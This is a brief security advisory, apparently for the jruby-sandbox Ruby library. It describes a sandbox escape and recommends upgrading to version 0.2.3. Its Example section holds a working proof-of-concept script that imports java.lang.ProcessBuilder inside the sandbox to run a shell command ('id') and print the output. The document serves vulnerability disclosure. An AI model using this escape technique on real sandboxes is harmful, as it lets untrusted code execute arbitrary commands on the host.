[ Description ]
        jruby-sandbox aims to allow safe execution of user given Ruby
        code within a JRuby [0] runtime. However via import of Java 
        classes it is possible to circumvent those protections and 
        execute arbitrary code outside the sandboxed environment.

[ Example ]

require 'sandbox'
sand = Sandbox.safe
sand.activate!

begin
  sand.eval("print `id`")
rescue Exception => e
  puts "fail via Ruby ;)"
end
puts "Now for some Java"

sand.eval("Kernel.send :java_import, 'java.lang.ProcessBuilder'")
sand.eval("Kernel.send :java_import, 'java.util.Scanner'")
sand.eval("s = Java::java.util.Scanner.new( " + 
          "Java::java.lang.ProcessBuilder.new('sh','-c','id')" + 
          ".start.getInputStream  ).useDelimiter(\"\x00\").next")
sand.eval("print s")

[ Solution ]
        Upgrade to version 0.2.3
